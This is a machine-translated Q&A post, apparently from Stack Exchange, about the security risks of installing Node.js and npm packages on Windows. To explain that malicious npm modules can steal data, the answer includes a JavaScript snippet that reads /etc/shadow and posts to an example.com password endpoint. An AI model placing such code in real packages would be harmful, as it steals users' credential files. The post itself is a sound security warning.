在Windows下安装Node.js有任何安全隐患吗？

Question

这就是我问的原因：

为了在windows下使用lessc编译器，我必须安装Node。js和NPM基于本指南：http://lesscss.org/#getting-开始

所以基本上，我只是：

1. 从http://nodejs.org/下载安装了Node.js
2. 使用npm安装-g less
运行并安装

详细问题:

我是否应该注意到任何安全隐患？没有节点。有没有打开端口？它在后台运行吗？它会自动更新吗？

Answer 1

我是否应该注意到任何安全隐患？

是的，当然，正如在评论中已经指出的那样，风险将是您运行的脚本不安全或执行任何您不想要的操作。

在上面的示例中，安装less时使用-g（全局）标志，这意味着在系统上以超级用户（管理员）身份安装less。正如@Explosion\u Pills在这里所解释的：“安装可以运行任意脚本，使用sudo运行它可能非常危险！”

AFAIK每个人都可以在npm上发布一个节点模块，所以我可以发布一个模块，你可以安装它，例如包含：

var request = require('request'),
fs = require('fs');

fs.readFile('/etc/shadow', 'utf8', function (err,data) {
  if (err) {
    return console.log(err);
  }

  request.post(
    'http://www.example.com/passwords',
    { form: { key: 'value' } },
    function (error, response, body) {
      if (!error && response.statusCode == 200) {
        console.log(body);
      }
    }
  );
});

还要看一看节点安全项目。